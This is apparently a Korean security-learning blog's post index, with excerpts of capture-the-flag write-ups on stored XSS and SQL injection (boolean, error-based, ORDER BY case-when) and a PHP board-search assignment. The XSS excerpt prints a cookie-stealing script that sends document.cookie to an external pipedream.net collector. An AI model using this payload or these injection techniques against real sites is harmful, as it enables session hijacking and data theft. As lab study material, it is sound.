전체 글(347)
-
[Normaltic's CTF] XSS 1
취약 유형 : Stored XSS 로그인 후 메인페이지에 있는 공지사항 클릭공지사항 글쓰기 클릭공격자의 스크립트 삽입에 필요한 특수문자 중 사용 가능 여부 판단VPS에서 발듭받은 링크 확인특수문자가 인코딩 되지 않는 title쪽에 와 공격코드 삽입var cookieData = document.cookie; //쿠키데이터를 cookiData라는 변수에 담음var i = new Image(); //새 이미지를 생성 및 loadi.src = 'https://enofjwwq6hvui.x.pipedream.net/?cookie=' + cookieData; //이미지의 경로는 VPS에서 발급받은 링크 + cookieData해당 글의 url을 관리자가 방문할 수 있는 곳으로 옮겨 방문하도록 함해당 공격 코드가 담긴..
2024.06.25 -
[Normaltic's CTF] SQL Injection Point 4
플래그를 찾으세요!이번엔 마이페이지입니다뭔가 바뀌었죠NO TEXT마이페이지 들어올 때 패킷은 어땠을까요?편하게 보기 위해 Repeater로 보냅니다.여전히 쿠키가 존재하네요. 과연 1번 문제와 동일한 것일까요?참인 조건. 결과가 나오는군요.거짓조건. 이것도 결과가 나옵니다. 하지만..조건을 전부 빼고 구문 에러를 내봤습니다.DB Error...뭔가 아련합니다.이걸 이용해서 참과 거짓을 알 수 있지 않을까 싶습니다일단 참인조건에서는 DB Error가 나는군요거짓조건에서는 데이터가 출력이 됩니다.왜냐면.. 애초에 넣은 select구문 자체가 에러를 유발하는 구문이기 때문에 참인 조건을 타서 해당 구문을 발동하게 되면 에러가 나기 때문입니다.마치 제가 따옴표를 하나 더 넣은 것 처럼요.그럼 해당 구문을 살짝 ..
2024.06.10 -
[Normaltic's CTF] SQL Injection Point 3
플래그를 찾으세요!웰컴~가입하고~ 로그인!이번에도 게시판입니다.두 개 써줍니다.sort.정렬입니다.order by구문을 사용하겠죠?일단 편리하게 Repeater로 보내줍니다. 숫자 넣어보니까 10까지는 정상 작동하는데11부터는 에러가 납니다. 컬럼 갯수가 10개인 것 같습니다.위의 절차는 해당 구문이 order by가 맞는지 확인한 절차입니다.order by에는 SQL Injection을 방어할 수 있는 Prepare Statement를 사용하지 못하기 때문에 취약합니다. 이번 공격에는 case when 구문을 사용합니다.case when (조건) then (참일때) else (거짓일 때) end이런 구문을 갖추고 있습니다.따라서, 어느 한 곳에 에러를 유발하는 데이터를 삽입하여 참과 거짓을 구분해서 b..
2024.06.10 -
[Normaltic's CTF] SQL Injection Point 2
플래그를 찾으세요!네!웰컴!똑같이 회원가입해주고.. 이번엔 게시판에 들어가줍니다.텅 비었습니다.글을 하나 써줍니다.심플하게..쓰면, 나타납니다.제목을 중심으로, yy를 검색하면, 작성한 글이 나옵니다.즉, 해당 SQL쿼리문은 like구문을 사용하고 있다는 것을 짐작할 수 있습니다.공격을 위해 Repeater로 보내줍니다.다시 한 번 확인해보고만약에 없는 글을 검색하면 어떻게 나오는지도 확인해줍니다.존재하지 않습니다. 라고 나오네요. 이게 거짓 조건의 결과인 모양입니다.사진을.. 안남겼네요. 검색창에서는 그 어떤 구문도 통하지 않았습니다. 그래서, 다른 곳을 공략하기 시작했습니다.바로, option_val입니다. 아까 보셨던, ' '을 중심으로 검색합니다 혹은 정렬합니다! 의 그것입니다.참인 조건을 넣었을..
2024.06.10 -
[Normaltic's CTF] SQL Injection Point 1
플래그를 찾아내자!심플하네요??? 심플하네요.....일단 로그인을 해볼까요..? 주어진 계정도 없으니.. 할 수 있을까요?다행히 회원가입 란이 있습니다. 회원가입을 해줍니다.회원가입 후에 로그인을 하니, 마이페이지, 게시판, 로그아웃이 나왔습니다.마이페이지부터 볼까요?있는 정보는 닉네임과 변경할 비밀번호 뿐이군요일단 마이페이지에 들어오면서 패킷이 어떻게 구성되어 있는지 살펴보겠습니다.쿠키가 있습니다! 제 닉네임으로 된 쿠키네요. 저걸 변조할 수 있지 않을까요?변조를 위해 Repeater로 보냅니다.우선 원래 닉네임일때 정보가 잘 나오고 있는 것을 확인하고..SQL Injection을 위해 ' and '1'='1 을 추가해봅니다.정보가 변하지 않네요. 그럼 거짓 조건을 한 번 넣어봅시다.거짓 조건을 넣으니..
2024.06.10 -
[Normaltic's 취업반 과제] 게시글 검색
get_catagory_list.php검색 창과 버튼을 추가하고 검색 버튼을 클릭하면 search_board.php의 search_contents 함수를 불러와서 컨텐츠를 다시 불러오도록 하였다.[생략]require_once ('search_board.php');[생략] Search : [생략] if (isset($_POST['searchcontent'])) { search_contents($category, $_POST['search']); exit();}[생략]search_board.php카테고리와 검색어를 받아서 where구문으로 카테고리를 넣고, 검색어는 title을 중심으로 해서 like구문으로 앞 뒤로 %를 넣어서 검색어가 어디..
2024.06.09